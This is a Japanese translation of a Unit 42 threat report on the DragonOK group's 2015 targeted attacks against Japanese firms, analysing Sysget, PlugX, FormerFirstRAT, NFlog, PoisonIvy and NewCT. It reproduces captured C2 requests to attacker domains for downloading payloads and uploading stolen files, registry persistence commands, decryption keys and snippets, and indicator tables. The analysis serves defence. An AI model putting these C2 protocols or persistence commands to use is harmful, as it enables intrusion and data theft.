検索
2015年4月14日に米国で掲載されたブログ記事の抄訳です。
概要
米Palo Alto Networksの調査チームUnit 42は、AutoFocus脅威インテリジェンスサービスを使用し、日本の組織に対する一連の標的型攻撃を調査しました。
AutoFocusを使い、WildFireやその他のPalo Alto Networksが共有する脅威情報をすばやく検索し、生成した情報を相関分析すると、公に「DragonOK」(※1)
として知られるグループとある攻撃を結び付けることができました。これら攻撃は2015年1月から3月の間に発生していました。
DragonOKはこれまで日本のハイテク業と製造業を狙っていました。今回われわれは彼らの開発者が開発した “FormerFirstRAT” と呼ばれる新種のバックドアツール
(使用者が知らないうちに通信を行う悪意あるプログラム)を検出しました。今回の永続型攻撃で用いられた3つのRATおよび2つのバックドアツールに関する
分析結果は “マルウェアの詳細” 項目を参照してください。
攻撃の詳細
今回の組織的攻撃では、HelloBridgeと呼ばれるSysgetマルウェアの異なる亜種をそれぞれ配信する5つの標的型攻撃が実施されました。
このマルウェアには、ファイルを開くようユーザーをだまそうとするファイルが添付されていました。この中には、他の種類のファイルとして表示するために
実行ファイルのアイコンを変更するもの (図1) と、ユーザーに正規ファイルを開いたように見せかける「おとり文書」が含まれていました。
図1: Sysgetマルウェアの添付で使われたアイコン
この攻撃で使用されたSysgetファイルはいずれもbiosnews[.]info にホストされる単一のコマンドアンドコントロール (C2) サーバー(指揮統制サーバー)と通信します。
SysgetはHTTPプロトコルを使用してこのサーバーと通信します。コマンドアンドコントロール通信の仕様については「マルウェアの詳細」項を参照してください。
5つのすべての標的型攻撃は2ヶ月かけて日本のある製造業を対象としましたが、最後の攻撃では別の日本のハイテク組織が標的とされました (図2)。
図2: 2つの日本組織を標的として使用された5つのSysget サンプル
5つのSysget亜種のうち4つは、マルウェアではない正規ファイルを開いたように見せかけてユーザーをだます「おとり文書」を含んでいました。
2つの実行ファイルは訃報を装うおとり文書を使用していました。図3に女性の訃報を含むGIFファイル、図4に男性の訃報を含むMicrosoft Wordドキュメントを示します。
図3: 女性の訃報を含む日本語のおとり文書(GIFファイル形式)
図4 男性の訃報を含むMicrosoft Word形式の日本語おとり文書
PDFアイコンで示されるSysgetサンプルではAdobe.exeという名前の第二段階の実行ファイルを生成し、以下の警告を表示します。
「このアプリケーション用のアプリケーション記述子が見つかりませんでした。再インストールを試みるか、詳細を発行者に問い合わせてください」
図5: Adobe.exeにより生成されるエラーメッセージ
最後のSysgetサンプルはMicrosoft Excelアイコンを使用しており、図6のようにセルに “XXXXXX” と記述されたExcel文書を開きます。
図6: 複数の行と列にXが記載されたExcelシート
これらSysget亜種は今回の攻撃で第一段階のデータと考えられます。この脅威の分析において、われわれはbiosnews[.]info にホストされている
5つの別のバックドアツールを特定しました。このツールは攻撃者が足掛かりを築いた後にSysget亜種によってダウンロードされるものと考えられます。
NFlog、PoisonIvy、NewCTという3つのバックドアは既にDragonOKと公に関連付けられています。さらに攻撃者はツールキットに有名なPlugXという
バックドアを追加しました。もう一つ追加されたバックドアは、これまでわれわれがDragonOKやその他の攻撃グループと関連付けていない新しい
カスタマイズされたツールとみられます。開発者がツールを参照するために使用していたと思われる名前に沿って、われわれはこのツールを“FormerFirstRAT” と
名付けました。図7に、これらバックドアとそれぞれのコマンドアンドコントロール サーバーとの関係を示します。
図7: 今回の攻撃においてDragonOKによって使用された5つの追加バックドア(馬マークとこぶしマーク)とそのコマンドアンドコントロールサーバーとの関係
次項では、今回の攻撃で使用されたマルウェアの機能について詳しく説明します。
SysgetとHelloBridge
今回の攻撃ではメールにSysgetサンプルが添付され、ユーザーをだましてシステムへ感染するようにさせるため、さまざまなアイコンが使用されました。
これらサンプルの大半は、正規ファイルと悪意あるダウンローダーを含む自己解凍型の実行ファイルです。自己解凍型の実行ファイルを起動すると、
ダウンローダーと正規ファイルは次のどちらかのディレクトリに置かれ、その後実行されます。
悪意あるダウンローダーが実行されると、まず一つのインスタンスを確実に実行するために “mcsong[]” イベントを生成します。
その後 “Chrome-Update” というウィンドウ名を持つ “C:\\windows\\system32\\cmd.exe” という新しいインスタンスを生成します。
FindWindowW APIコールを使用してウィンドウハンドルの取得を試み、実行ファイルに以下のコマンドを送信します。
これにより、マルウェアはcmd.exeプロセス内でコマンドを間接的に実行できるようになります。
reg add hkcu\software\microsoft\windows\currentversion\run /v netshare /f /d %temp%\notilv.exe /t REG_EXPAND_SZ
このレジストリキーにより、後でダウンロードされる実行ファイルがリブート後に動作するよう設定されます。
そしてその実行ファイルに “exit” コマンドを送信し、このプロセスを強制終了します。
マルウェアはその後以下のファイルを読み込もうとします。このファイルはネットワーク通信時に受信したデータの復号化に使用する鍵を保存するために用いられます。
%temp%\ibmCon6.tmp
ファイルが存在しない場合、次のGETリクエストを実施します。
GET /index.php?fn=s4&name=4890c2d546fa48a536b75b48b17de023
HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive
ファイル名 (fn) と名前 (name) の各パラメータは上記リクエスト内で静的に設定されます。サーバーは以下のデータで応答します。
HTTP/1.1 200 OK
Date: Wed, 11 Mar 2015 00:14:14 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips
mod_bwlimited/1.4 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/5.4.37
Keep-Alive: timeout=5
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
17
gh204503254
1916733707
0
応答した最初の2つのデータ (“17” と “gh204503254”) はその後、前述のibmCon6.tmpファイルに書き込まれます。
マルウェアは “notilv.exe” という実行ファイル名で %TEMP% ディレクトリに自身をコピーします。先ほど書き込んだレジストリキーにより、パソコンを
再起動してユーザーがログインしたときにこのファイルが実行されます。
次にマルウェアは以下のリクエストを行います。
GET /index.php?fn=s1&uid=fc1a8359e0f4cb8d60920dc066b8b21c
HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive
ファイル名 (fn) とuidの各パラメータは上記リクエスト内で静的に設定されます。レスポンスデータはRC4ストリーム暗号を使って復号化されます。
先にダウンロードした “gh204503254” というデータは暗号鍵として使用されます。以下のPythonコードは “gh204503254” という暗号鍵を使った復号化に利用できます。
from wincrypto import CryptCreateHash, CryptHashData,
CryptDeriveKey, CryptDecrypt
CALG_RC4 = 0x6801
CALG_MD5 = 0x8003
md5_hasher = CryptCreateHash(CALG_MD5)
CryptHashData(md5_hasher, 'gh204503254')
rc4_key = CryptDeriveKey(md5_hasher, CALG_RC4)
decrypted_data = CryptDecrypt(rc4_key, final_data)
pp.pprint(decrypted_data)
この段階では、リモートサーバーは多くの異なるレスポンスを送信することができます。以下のレスポンスは、マルウェアにリモートの実行ファイルを
ダウンロードさせるよう指示します。
sys getinto "filename.exe" "01234567890123456789012345678901";\n
“filename.exe” はダウンロードされたファイルが保存されるパスで、 “01234567890123456789012345678901” は後続のHTTPリクエストで指定される値です。
このコマンドを受信した場合、以下のリクエストが生成されます。
GET /index.php?fn=s3&file=01234567890123456789012345678901
HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive
このとき、リモートサーバーは、マルウェアがシステムに保存する暗号化されていないファイルで応答します。
リモートサーバーは下記の例のようなレスポンスも送信できます。このレスポンスにより、指定されたファイルをアップロードするようマルウェアが指示します。
sys upto "filename.exe";\n
アップロードリクエストの例を以下に示します。
POST /index.php?fn=s2&item=70efdf2ec9b086079795c442636b55fb
HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Content-Length: 115126
Connection: Keep-Alive
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="file";
filename="calc_malware.exe"
Content-Type: application/octet-stream
[BINARY_DATA]
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="path"
70efdf2ec9b086079795c442636b55fb
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="submit"
Submit
-----------------------------d5340oqbasdfaa--
リモートサーバーは以下のようなレスポンスを送信することもできます。このレスポンスはマルウェアに指定されたコマンドを実行するよう指示します。
この実行結果は %TEMP% ディレクトリ内の一時的なテキストファイルに保存されます。実行結果は前述したものと同じ技術を使って暗号化されます。
この結果のアップロード例を以下に示します。
POST /index.php?fn=s2 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Content-Length: 1609
Connection: Keep-Alive
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="file";
filename="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.txt"
Content-Type: application/octet-stream
[BINARY_DATA]
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="path"
70efdf2ec9b086079795c442636b55fb
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="submit"
Submit
-----------------------------d5340oqbasdfaa—
PlugXは標的型攻撃で多く使用されるバックドアです。今回使用されたPlugXはシマンテック社の製品になりすまそうとします。以下のアイコンがサンプル内に存在します。
図8 シマンテック社のロゴアイコンを使用するPlugX ファイル
マルウェアが実行されると、以下のパラメータを持つサービスとしてインストールされます。
Service Name |
RasTls |
Service Display Name |
RasTls |
Service Description |
Symantec 802.1x Supplicant |
また動作を持続させるため以下のレジストリキーを設定することもあります。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RasTls - %windir%\system32\svchost.exe
PlugXは標的型攻撃で長く使用されてきた背景もあり、よく研究されているマルウェアです。その歴史の詳細については以下のリンクを参照してください。
このリモート管理ツール (RAT) は作者によって “FormerFirstRAT” と呼ばれています。FormerFirstRATは本来暗号化されたHTTPSが使われるはずのポート443上で
非暗号化HTTPを使って通信します。ポート番号と通信プロトコルを不適当に組み合わせて使うことは、標的型攻撃において珍しいことではありません。
またポート番号とプロトコルが一致しない通信は、悪意ある活動の痕跡となります。
このマルウェアは起動時に持続性を確保するため、以下のレジストリキーを書き込みます。
[HKCU|HKLM]\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WmdmPmSp -> EXE of DLL
マルウェアはその後、被害者のシステムに関する情報をHTTP POSTリクエストで送信します。このとき以下の情報が収集されます。
コマンド アンド コントロールには以下のパラメータが使用されます。
Hostname: https.reweblink.com
Port: 443
Timer: 180000
Method: POST
このマルウェアはAES-128暗号を使用してネットワーク通信を暗号化します。暗号鍵を生成するために “tucwatkins” という文字列のMD5(関数の一種)
を使用します。すべてのデータはHTTP POSTリクエストで送信されます。独特なTTP (Tactics, Techniques and Procedures; 戦術、技術、手順) ではないため
このマルウェアの作者はホームドラマのファンかもしれません。以下のコードはPythonを使用してマルウェア通信を復号する方法を示したものです。
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt
CALG_AES_128 = 0x660e
CALG_MD5 = 0x8003
data = "..." # Encrypted Data
md5_hasher = CryptCreateHash(CALG_MD5)
CryptHashData(md5_hasher, 'tucwatkins')
aes_key = CryptDeriveKey(md5_hasher, CALG_AES_128)
decrypted_data = CryptDecrypt(aes_key, data)
次にマルウェアはリモートサーバーへ定期的にリクエストを送信するループに入ります。リモートサーバーはRATに応答して指示を与えることができます。
われわれは以下の機能を特定しました。
HTTP POSTリクエストの例を以下に示します。
POST / HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
.NET CLR 1.1.4322)
Host: https.reweblink.com:443
Content-Length: 48
Cache-Control: no-cache
[encrypted binary data]
実行中のプロセスに読み込まれるとNFlogはまず新規スレッドを生成します。この新規スレッドはDLLによって生成されたすべての悪意ある活動を担当します。
最初にマルウェアは以下のレジストリキーを設定します。
HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\update : [current_executable_filename]
ここで [current_executable_filename] は実行中の実行ファイルのパスで、GetModuleFileNameAのプログラムを呼び出すことで取得されます。
このレジストリキーは現在のユーザーがログインしているときに再起動した後もマルウェアが持続できるようにします。
このマルウェアサンプルには複数の文字列難読化ルーチンが含まれています。バイナリに含まれる文字列は、0x25という1バイトの鍵でバイナリを
単純に排他的論理和 (XOR、2つの命題のうち片方のみが真となる論理演算) することで復号化されます。
次にマルウェアは “GoogleZCM” という名前付きイベントオブジェクトを生成しますが、このイベントはマルウェアのインスタンスが同時に一つだけ
実行されるようにするために使われます。次にマルウェアは “GoogleZCM” という名前付きイベントオブジェクトを生成しますが、このイベントはマルウェアの
インスタンスが同時に一つだけ実行されるようにするために使われます。
そしてマルウェアはローカルホスト上のポート1139への関連付けを試みます。
マルウェアはwww.microsoft.comへリクエストを送ることでインターネット接続の確認を行います。以下に例を示します。
コマンド
説明
URI
CMD
与えられたコマンドを実行
/news/STravel.asp
Browse
与えられたディレクトリをディレクトリ リスティングする
/news/SJobs.asp
UploadFile
指定ファイルをアップロード
/news/SSports.asp
DownLoad
指定ファイルをダウンロード
/news/SWeather.asp
DelFile
指定ファイルを削除
N/A
このマルウェアは有名なPoisonIvyリモートアクセス型トロイの木馬 (RAT) として特定されました。復号化して置かれるいずれかのファイル内に埋め込まれる
以下のデバッグ用文字列が発見されました。
d:\MyProject\Street2008\PotPlayer\Release_Mini_Unicode\PotPlayerMini.pdb
PoisonIvyはまず、以下の場所に3つのファイルを作成します。
次にマルウェアはWinExecのコールによりsvchosts.exeの実行ファイルを実行します。svchosts.exeマルウェアはまず、PotPlayer.dllライブラリを自身の
プロセス内に読み込む前に復号化します。そしてPotPlayer.dllから以下のエクスポート関数をロードします。
PotPlayer.dllの読み込みにより、悪意あるコア機能が含まれるDLLのDllEntryPoint関数が呼び出されます。PotPlayer.dllの最初の読み込み時にマルウェアは
シェルコードのスタブをロードして実行します。このシェルコードはサスペンド状態で実行ファイルの新しいインスタンスを生成します。
その後、以下のアルゴリズムを使用して “demo.dat” ファイルを復号化します。
((((byte1 + 0x6d) ^ 0x8A) - 0x53) & 0xFF)
この復号化されたコードは、プロセスが再開される前にサスペンドされたプロセス内に注入されます。新しく作成された svchost.exe プロセスは
まず多数のライブラリや関数を動的に読み込みます。このマルウェアは主にシェルコードで構成されています。次に以下のミューテックス (排他制御) を作成します。
oY7uUqX&d
続いて元の実行ファイルの削除を試みます。その後以下のレジストリキーを設定します。管理者として実行されている場合はHKLM (HKEY_LOCAL_MACHINE) が使用されます。
それ以外の場合はHKCU (HKEY_CURRENT_USER) 内に設定されます。
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\MSCTFORM : %APPDATA%\\svchosts.exe
次にマルウェアはネットワーク通信の準備を開始します。プロキシが使われているか調査が行われます。被害者のMACアドレスとホスト名を収集し
それらを1つの文字列につなぎ合わせます。
PoisonIvyはbbs reweblink[.]comドメインと通信するよう設定されています。以下に生成されるHTTPリクエストの例を示します。
POST HTTP://bbs.reweblink.com/index.html
HTTP/1.1
Cookie: id=000C298D2341josh-9f59dff661
Connection: keep-alive
Content-Length: 256
[256 Bytes of Data]
マルウェアからは、以下の設定値が抽出されました。
RAT Identifier |
12008 |
Proxy Count |
0 |
Communications Key |
DF#671d@! |
Auto-remove Dropper |
True |
C&C |
bbs.reweblink[.]com:80 |
コマンド アンド コントロール サーバーに定期的なリクエストを行うNewCT 64ビット DLL バックドアです。このマルウェア群はインターネット接続を
確認するためにwww.microsoft.comへのリクエストを行います。これと同じ手法は前述のNFlogマルウェアのサンプルでも確認されています。
インターネットへの接続が確認されると、マルウェアは以下のようなPOSTリクエストを送信します。
POST / HTTP/1.1
Accept-Language: en-en
Content-Type: application/octet-stream
Pragma: no-cache
Cache-Control: max-age=259200
Connection: Close
Content-Length: 1588
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)
Host: bbs.jpaols.com
[BINARY_DATA]
以下は上記POSTリクエストに含まれるデコードされたデータで、キャンペーン (攻撃) 識別子情報もありました。
Key |
0x30303137 |
Domain |
bbs.jpaols.com:80 |
Victim ID |
60F81DCC2FCF_WIN-71FN1PE1AT8 |
Campaign |
APR1_2.3 |
URI |
index.asp |
まとめ
DragonOKの首謀者は、2つの新しいマルウェア群(内1つは特注とみられる)を使用することでTTPを進化させてきたようです。
しかしコマンド アンド コントロールやマルウェア ホスティング用のドメイン登録には同じ電子メールアドレスを使い続け、これらドメインの一部を
数年間にわたって再利用しています。これは新しいマルウェアであっても彼らを追跡することは非常に簡単で、新しいマルウェアそのものはグループが
過去に使用したものと比べて特に進歩していないことを意味します。
DragonOKの首謀者が技術的に最も優れているわけではないかもしれませんが、彼らは比較的短い期間に何度も標的を狙うという高いねばり強さを実証しました。
いわゆる“APT (Advanced Persistent Threat)” と呼ばれる多くのグループは Advanced (高度) というよりも Persistent (持続的) であり、DragonOKはそのカテゴリに
分類されます。残念ながら、悪質な首謀者は十分な時間を持ってこれらのツールと標的型フィッシング攻撃を組み合わせ、多くの攻撃を成功させています。
本ブログで説明したマルウェアのサンプルはすべてPalo Alto Networksのサンドボックス型クラウドサービスWildFireでマルウェアとして識別されました。
われわれは、これらの攻撃の痕跡を現状のセキュリティソリューションで確認し、必要に応じて確認するための手法を追加し、積極的にネットワークを
調査することを推奨します。理想的なセキュリティソリューションとは、攻撃への一連の対策の各段階でそれぞれ保護を実行し、未知の脅威を防ぐために自動で
新しい保護を追加するようなプラットフォームへのアプローチを採用することです。
サンプル要約
ファイル名 |
].exe |
初回確認 |
2015年1月19日 |
SHA256 |
227de988efdcf886bc0be7dc3df9f51a727664593de47352df31757853e42968 |
C2サーバー |
biosnews[.]info |
分割IP |
23.229.234.160 |
PDBへのパス |
D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb |
ファイル名 |
A.exe |
初回確認 |
2015年1月27日 |
SHA256 |
35784ec1968d322092cb6826f7795f65eeb0b8365ac8c7d8756851c92acf31ae |
C2サーバー |
biosnews[.]info |
分割IP |
23.229.234.160 |
PDBへのパス |
D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb |
ファイル名 |
|
初回確認 |
2015年3月10日 |
SHA256 |
0b97ced3fabb14dbffa641d9bd1cc9dd8c97eab9cb6160d43202ee078e017989 |
C2サーバー |
biosnews[.]info |
分割IP |
23.229.234.160 |
PDBへのパス |
D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb |
ファイル名 |
address.exe |
初回確認 |
2015年3月16日 |
SHA256 |
287e29ca7b2177fdaa561a96284726ada636dbbdaadfdbeadf88164e625ed88e |
C2サーバー |
biosnews[.]info |
分割IP |
23.229.234.160 |
PDBへのパス |
D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb |
ファイル名 |
schost.exe |
初回確認 |
2015年3月16日 |
SHA256 |
70ac649d31db748c4396a9a3f7a9c619c8d09e6400492ab3447520fb726083c4 |
C2サーバー |
http.tourecord.com |
分割IP |
103.20.193.62 |
ファイル名 |
shost.exe |
初回確認 |
17 Mar 2015 |
SHA256 |
6e95215a52e1cbf4a58cb24c91750151170ea3d59fa9dbfe566e33a2ffc04f4c |
C2サーバー |
bbs.reweblink.com |
分割IP |
103.20.193.62 |
ファイル名 |
RpcRtRemote.dll |
初回確認 |
16 Mar 2015 |
SHA256 |
e68b70eaaf45fa43e726a29ce956f0e6ea26ece51165a1989e22597aebba244f |
C2サーバー |
https.reweblink.com |
分割IP |
103.20.193.62 |
ファイル名 |
chrome_frame_helper.dll |
初回確認 |
17 Mar 2015 |
SHA256 |
64cbcb1f5b8a9d98b3543e3bf342e8c799e0f74f582a5eb0dc383abac7692f63 |
C2サーバー |
new.hotpmsn.com |
分割IP |
58.64.156.140 |
ファイル名 |
shost.exe |
初回確認 |
17 Mar 2015 |
SHA256 |
6e95215a52e1cbf4a58cb24c91750151170ea3d59fa9dbfe566e33a2ffc04f4c |
C2サーバー |
bbs.reweblink.com |
分割IP |
103.20.193.62 |
(※1)「DragonOK」:Operation Quantum Entanglement – Thoufique Haq, Ned Moran, Sai Vashisht, and Mike Scott – https://www.fireeye.com/resources/pdfs/white-papers/fireeye-operation-quantum-entanglement.pdf